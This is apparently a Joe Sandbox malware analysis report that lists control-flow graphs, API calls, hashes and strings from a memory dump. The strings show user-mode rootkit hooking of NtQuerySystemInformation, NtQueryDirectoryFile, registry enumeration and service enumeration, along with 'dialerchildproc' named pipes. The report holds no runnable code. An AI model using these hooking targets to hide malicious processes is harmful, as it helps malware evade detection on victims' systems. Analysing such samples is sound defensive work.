                                            control_flow_graph 218 1bcd1c550d0-1bcd1c550fc 219 1bcd1c5510d-1bcd1c55116 218->219 220 1bcd1c550fe-1bcd1c55106 218->220 221 1bcd1c55118-1bcd1c55120 219->221 222 1bcd1c55127-1bcd1c55130 219->222 220->219 221->222 223 1bcd1c55141-1bcd1c5514a 222->223 224 1bcd1c55132-1bcd1c5513a 222->224 225 1bcd1c5514c-1bcd1c55151 223->225 226 1bcd1c55156-1bcd1c55161 GetCurrentThreadId 223->226 224->223 229 1bcd1c556d3-1bcd1c556da 225->229 227 1bcd1c55163-1bcd1c55168 226->227 228 1bcd1c5516d-1bcd1c55174 226->228 227->229 230 1bcd1c55181-1bcd1c5518a 228->230 231 1bcd1c55176-1bcd1c5517c 228->231 232 1bcd1c5518c-1bcd1c55191 230->232 233 1bcd1c55196-1bcd1c551a2 230->233 231->229 232->229 234 1bcd1c551ce-1bcd1c55225 call 1bcd1c556e0 * 2 233->234 235 1bcd1c551a4-1bcd1c551c9 233->235 240 1bcd1c5523a-1bcd1c55243 234->240 241 1bcd1c55227-1bcd1c5522e 234->241 235->229 242 1bcd1c55255-1bcd1c5525e 240->242 243 1bcd1c55245-1bcd1c55252 240->243 244 1bcd1c55230 241->244 245 1bcd1c55236 241->245 247 1bcd1c55260-1bcd1c55270 242->247 248 1bcd1c55273-1bcd1c55298 call 1bcd1c57870 242->248 243->242 246 1bcd1c552b0-1bcd1c552b6 244->246 245->240 249 1bcd1c552a6-1bcd1c552aa 245->249 251 1bcd1c552b8-1bcd1c552d4 call 1bcd1c54390 246->251 252 1bcd1c552e5-1bcd1c552eb 246->252 247->248 258 1bcd1c5532d-1bcd1c55342 call 1bcd1c53cc0 248->258 259 1bcd1c5529e 248->259 249->246 251->252 263 1bcd1c552d6-1bcd1c552de 251->263 253 1bcd1c552ed-1bcd1c5530c call 1bcd1c578ac 252->253 254 1bcd1c55315-1bcd1c55328 252->254 253->254 254->229 265 1bcd1c55351-1bcd1c5535a 258->265 266 1bcd1c55344-1bcd1c5534c 258->266 259->249 263->252 267 1bcd1c5536c-1bcd1c553ba call 1bcd1c58c60 265->267 268 1bcd1c5535c-1bcd1c55369 265->268 266->249 271 1bcd1c553c2-1bcd1c553ca 267->271 268->267 272 1bcd1c553d0-1bcd1c554bb call 1bcd1c57440 271->272 273 1bcd1c554d7-1bcd1c554df 271->273 284 1bcd1c554bd 272->284 285 1bcd1c554bf-1bcd1c554ce call 1bcd1c54060 272->285 275 1bcd1c554e1-1bcd1c554f4 call 1bcd1c54590 273->275 276 1bcd1c55523-1bcd1c5552b 273->276 290 1bcd1c554f8-1bcd1c55521 275->290 291 1bcd1c554f6 275->291 277 1bcd1c5552d-1bcd1c55535 276->277 278 1bcd1c55537-1bcd1c55546 276->278 277->278 281 1bcd1c55554-1bcd1c55561 277->281 282 1bcd1c5554f 278->282 283 1bcd1c55548 278->283 287 1bcd1c55563 281->287 288 1bcd1c55564-1bcd1c555b9 call 1bcd1c585c0 281->288 282->281 283->282 284->273 295 1bcd1c554d0 285->295 296 1bcd1c554d2 285->296 287->288 297 1bcd1c555c8-1bcd1c55661 call 1bcd1c54510 call 1bcd1c54470 VirtualProtect 288->297 298 1bcd1c555bb-1bcd1c555c3 288->298 290->273 291->276 295->273 296->271 303 1bcd1c55671-1bcd1c556d1 297->303 304 1bcd1c55663-1bcd1c55668 GetLastError 297->304 303->229 304->303
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
                                            • Instruction ID: c36acf949604b211d6fdf21c196f4e1029cc02e02fa3d194f74c7b027f7c6640
                                            • Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
                                            • Instruction Fuzzy Hash: 4C029836619B8486E760CF97E49439ABBA1F3C4794F504025EACE87BA9DF7CC454CB80
                                            Function 000001BCD1C539E0 Relevance: 4.6, APIs: 3, Instructions: 64memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Virtual$AllocQuery
                                            • String ID:
                                            • API String ID: 31662377-0
                                            • Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                            • Instruction ID: f6796d86e4e77f949a4a4fe2faf169f0bcf4ae90639d134cfbe91b85a3c0a92b
                                            • Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                            • Instruction Fuzzy Hash: 1C31213A619A8481FA319E97E45639E7AA0F3C8784F901935F5CD06B98DF7CC1808BC4
                                            Function 000001BCD1C5328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                            • String ID:
                                            • API String ID: 1683269324-0
                                            • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction ID: afe75270ec2b5700c406a9c603355c3aa0c1f2bf2f33749aad1568d7fec7976c
                                            • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction Fuzzy Hash: CC11967961464082F760AFE3F9093D93A94B7D4B44FD06935E9C6416A2EF78C045C2D4
                                            Function 000001BCD1C54DF0 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CacheCurrentFlushInstructionProcessProtectVirtual
                                            • String ID:
                                            • API String ID: 3733156554-0
                                            • Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
                                            • Instruction ID: 3c0994ed2f5c1428a120dda46a0ada8af2aff89624e5c937bf4c9a805fe57d09
                                            • Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
                                            • Instruction Fuzzy Hash: 4DF0A97A218B4480E620AF47E45179ABFA0E3C8BD4F945125BACD47B6ADB78C5908BC0
                                            Function 000001BCD1A4273C Relevance: 3.2, APIs: 2, Instructions: 187memorylibraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 352 1bcd1a4273c-1bcd1a427a4 call 1bcd1a429d4 * 4 361 1bcd1a429b2 352->361 362 1bcd1a427aa-1bcd1a427ad 352->362 364 1bcd1a429b4-1bcd1a429d0 361->364 362->361 363 1bcd1a427b3-1bcd1a427b6 362->363 363->361 365 1bcd1a427bc-1bcd1a427bf 363->365 365->361 366 1bcd1a427c5-1bcd1a427e6 VirtualAlloc 365->366 366->361 367 1bcd1a427ec-1bcd1a4280c 366->367 368 1bcd1a4280e-1bcd1a42836 367->368 369 1bcd1a42838-1bcd1a4283f 367->369 368->368 368->369 370 1bcd1a428df-1bcd1a428e6 369->370 371 1bcd1a42845-1bcd1a42852 369->371 373 1bcd1a42992-1bcd1a429b0 370->373 374 1bcd1a428ec-1bcd1a42901 370->374 371->370 372 1bcd1a42858-1bcd1a4286a LoadLibraryA 371->372 375 1bcd1a4286c-1bcd1a42878 372->375 376 1bcd1a428ca-1bcd1a428d2 372->376 373->364 374->373 377 1bcd1a42907 374->377 378 1bcd1a428c5-1bcd1a428c8 375->378 376->372 379 1bcd1a428d4-1bcd1a428d9 376->379 381 1bcd1a4290d-1bcd1a42921 377->381 378->376 382 1bcd1a4287a-1bcd1a4287d 378->382 379->370 383 1bcd1a42982-1bcd1a4298c 381->383 384 1bcd1a42923-1bcd1a42934 381->384 387 1bcd1a4287f-1bcd1a428a5 382->387 388 1bcd1a428a7-1bcd1a428b7 382->388 383->373 383->381 385 1bcd1a4293f-1bcd1a42943 384->385 386 1bcd1a42936-1bcd1a4293d 384->386 391 1bcd1a4294d-1bcd1a42951 385->391 392 1bcd1a42945-1bcd1a4294b 385->392 390 1bcd1a42970-1bcd1a42980 386->390 393 1bcd1a428ba-1bcd1a428c1 387->393 388->393 390->383 390->384 394 1bcd1a42963-1bcd1a42967 391->394 395 1bcd1a42953-1bcd1a42961 391->395 392->390 393->378 394->390 397 1bcd1a42969-1bcd1a4296c 394->397 395->390 397->390
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: AllocLibraryLoadVirtual
                                            • String ID:
                                            • API String ID: 3550616410-0
                                            • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction ID: 542a02d16f05ed6dca357980163005bdb995391078f2596e142568b4dd5fa407
                                            • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction Fuzzy Hash: 0861F33AB0169087EB588FD7A0007ADB792FB94B94F58813ADE5D47789DB38D852C7C0
                                            Function 000001BCD1C5F948 Relevance: 3.1, APIs: 2, Instructions: 71COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 398 1bcd1c5f948-1bcd1c5f963 399 1bcd1c5f966-1bcd1c5f98f 398->399 400 1bcd1c5f991-1bcd1c5f996 399->400 401 1bcd1c5f99b-1bcd1c5f9a4 399->401 402 1bcd1c5fa26-1bcd1c5fa2f 400->402 403 1bcd1c5f9bc 401->403 404 1bcd1c5f9a6-1bcd1c5f9a9 401->404 402->399 405 1bcd1c5fa35-1bcd1c5fa4f 402->405 408 1bcd1c5f9c1-1bcd1c5f9d2 GetStdHandle 403->408 406 1bcd1c5f9ab-1bcd1c5f9b3 404->406 407 1bcd1c5f9b5-1bcd1c5f9ba 404->407 406->408 407->408 409 1bcd1c5fa01-1bcd1c5fa19 408->409 410 1bcd1c5f9d4-1bcd1c5f9df GetFileType 408->410 409->402 411 1bcd1c5fa1b-1bcd1c5fa1f 409->411 410->409 412 1bcd1c5f9e1-1bcd1c5f9ec 410->412 411->402 413 1bcd1c5f9ee-1bcd1c5f9f3 412->413 414 1bcd1c5f9f5-1bcd1c5f9f8 412->414 413->402 414->402 415 1bcd1c5f9fa-1bcd1c5f9ff 414->415 415->402
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: FileHandleType
                                            • String ID:
                                            • API String ID: 3000768030-0
                                            • Opcode ID: a07d0c2e6d1ea39fb6922406f7202b79799826504b1902530f517849248bbcbd
                                            • Instruction ID: 1f7a93c3bd0e00c7360ea21c0203bb61c51183da59c877c46574c5fcb55319d5
                                            • Opcode Fuzzy Hash: a07d0c2e6d1ea39fb6922406f7202b79799826504b1902530f517849248bbcbd
                                            • Instruction Fuzzy Hash: 67318136624F8491FB648F5795802A87A60F3C5BA0FA41319DBEA077E0CB34D491C3C1
                                            Function 000001BCD1C51ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                              • Part of subcall function 000001BCD1C51628: GetProcessHeap.KERNEL32 ref: 000001BCD1C51633
                                              • Part of subcall function 000001BCD1C51628: HeapAlloc.KERNEL32 ref: 000001BCD1C51642
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C516B2
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C516DF
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C516F9
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C51719
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C51734
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C51754
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C5176F
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C5178F
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C517AA
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C517CA
                                            • Sleep.KERNEL32 ref: 000001BCD1C51AD7
                                            • SleepEx.KERNELBASE ref: 000001BCD1C51ADD
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C517E5
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C51805
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C51820
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C51840
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C5185B
                                              • Part of subcall function 000001BCD1C51628: RegOpenKeyExW.ADVAPI32 ref: 000001BCD1C5187B
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C51896
                                              • Part of subcall function 000001BCD1C51628: RegCloseKey.ADVAPI32 ref: 000001BCD1C518A0
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CloseOpen$HeapSleep$AllocProcess
                                            • String ID:
                                            • API String ID: 1534210851-0
                                            • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction ID: aa44d2e9bf4104a99935bb868d9f216829476e3a0dfbabf6647c771211f225d0
                                            • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction Fuzzy Hash: 3C31DFF920064151FF50AFA7DA493E93BA4EBC4BC4F8854319E8A87A95FF24C851C2D1
                                            Function 000001BCD1C53844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 455 1bcd1c53844-1bcd1c5384f 456 1bcd1c53851-1bcd1c53864 StrCmpNIW 455->456 457 1bcd1c53869-1bcd1c53870 455->457 456->457 458 1bcd1c53866 456->458 458->457
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: dialer
                                            • API String ID: 0-3528709123
                                            • Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
                                            • Instruction ID: cf09333a5a1bb853909f47eb0244b9b2e33e9836de0207be7d95d7a633cfd6d8
                                            • Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
                                            • Instruction Fuzzy Hash: 95D0A77831120696FF18DFE788C46E03750EBD4B44FC85031D99005160EB18898D97D0
                                            Function 000001BCD1C5D6CC Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 459 1bcd1c5d6cc-1bcd1c5d6db 460 1bcd1c5d6dd-1bcd1c5d6e9 459->460 461 1bcd1c5d6eb-1bcd1c5d6fb 459->461 460->461 462 1bcd1c5d72e-1bcd1c5d739 call 1bcd1c5d6ac 460->462 463 1bcd1c5d712-1bcd1c5d72a HeapAlloc 461->463 467 1bcd1c5d73b-1bcd1c5d740 462->467 464 1bcd1c5d72c 463->464 465 1bcd1c5d6fd-1bcd1c5d704 call 1bcd1c60720 463->465 464->467 465->462 471 1bcd1c5d706-1bcd1c5d710 call 1bcd1c5b85c 465->471 471->462 471->463
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: AllocHeap
                                            • String ID:
                                            • API String ID: 4292702814-0
                                            • Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
                                            • Instruction ID: 467119edc39383a683c3b1100c135098ee0a066a19dfbe254b1e0c50e1f488f4
                                            • Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
                                            • Instruction Fuzzy Hash: 09F0677C3013C181FE686EE399113F53A805BC9BC0F8C5434698A863DAFF2CC48186E1

                                            Non-executed Functions

                                            Function 000001BCD1C57D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                            • String ID:
                                            • API String ID: 3140674995-0
                                            • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction ID: cb7c50271cf18f6e7caa7520c162003a4316df937d386e31c32c41dcbd150944
                                            • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction Fuzzy Hash: 94313D76305B808AEB609FA2E8407ED7764F7C4744F84443ADA8D57B98EF38C548C790
                                            Function 000001BCD1C5D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                            • String ID:
                                            • API String ID: 1239891234-0
                                            • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction ID: 5cece4ac7da146059bd2600a1027b5ec39b1adf4d0a11915291de3d456e545cb
                                            • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction Fuzzy Hash: 33314F3A214B8096EB60DF67E8403EE77A4F7C9794F900125EA9D43B69EF38C555CB80
                                            Function 000001BCD1C512BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                            • String ID: d
                                            • API String ID: 2005889112-2564639436
                                            • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction ID: 0cd94084df6b064f79f368a6586d4c1202fe616d19133fcdbfcfc11aafce0af3
                                            • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction Fuzzy Hash: 5B513A7A204B94C6EB54CFA3E54839ABBA1F7C9B99F844134DA8A47768DF38C045C780
                                            Function 000001BCD1C51D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentThread$AddressHandleModuleProc
                                            • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                            • API String ID: 4175298099-1975688563
                                            • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction ID: a514b04ed950f135d6c7cf665c84b250e4d695d3b28148c32f7b947a3af317fe
                                            • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction Fuzzy Hash: B4316FBC610A4AA0FA04EFEBE8557E87761B7E4344FC05133E4C91697AAF788649C3D0
                                            Function 000001BCD1A46910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                            • API String ID: 190073905-1786718095
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: f3ad53c2c43eebfc49edee9ed4f98041e5eb84a8c79eed8ea17f4e783725c732
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: 4E81EDBD7046418AFB60ABE798413D972E1EFC5B80F54843D9A4D83797DB78C88687C0
                                            Function 000001BCD1C5CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32 ref: 000001BCD1C5CE37
                                            • FlsGetValue.KERNEL32(?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CE4C
                                            • FlsSetValue.KERNEL32(?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CE6D
                                            • FlsSetValue.KERNEL32(?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CE9A
                                            • FlsSetValue.KERNEL32(?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CEAB
                                            • FlsSetValue.KERNEL32(?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CEBC
                                            • SetLastError.KERNEL32 ref: 000001BCD1C5CED7
                                            • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CF0D
                                            • FlsSetValue.KERNEL32(?,?,00000001,000001BCD1C5ECCC,?,?,?,?,000001BCD1C5BF9F,?,?,?,?,?,000001BCD1C57AB0), ref: 000001BCD1C5CF2C
                                              • Part of subcall function 000001BCD1C5D6CC: HeapAlloc.KERNEL32 ref: 000001BCD1C5D721
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CF54
                                              • Part of subcall function 000001BCD1C5D744: HeapFree.KERNEL32 ref: 000001BCD1C5D75A
                                              • Part of subcall function 000001BCD1C5D744: GetLastError.KERNEL32 ref: 000001BCD1C5D764
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CF65
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001BCD1C60A6B,?,?,?,000001BCD1C6045C,?,?,?,000001BCD1C5C84F), ref: 000001BCD1C5CF76
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast$Heap$AllocFree
                                            • String ID:
                                            • API String ID: 570795689-0
                                            • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction ID: cd5d6e8f0fad67b358bacb70bcfd8487f712e5326794a84e057654ee6b5aa618
                                            • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction Fuzzy Hash: AC41917C30168441FA69AFF365553FD3A8A6BC57B0FD40734A8B646AE6EF688401D2C4
                                            Function 000001BCD1C52244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                            • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                            • API String ID: 2171963597-1373409510
                                            • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction ID: 87ab544991aa0c7d3b919c88fb863f1e25f6e682031baa33495b26f21cc7bae2
                                            • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction Fuzzy Hash: B7214F7A614750D3FB108B67F44439977A0F7C9BA4F900225EA9903BA8DF7CC149CB80
                                            Function 000001BCD1A49944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1899796319.000001BCD1A40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001BCD1A40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1a40000_sc.jbxd
                                            Similarity
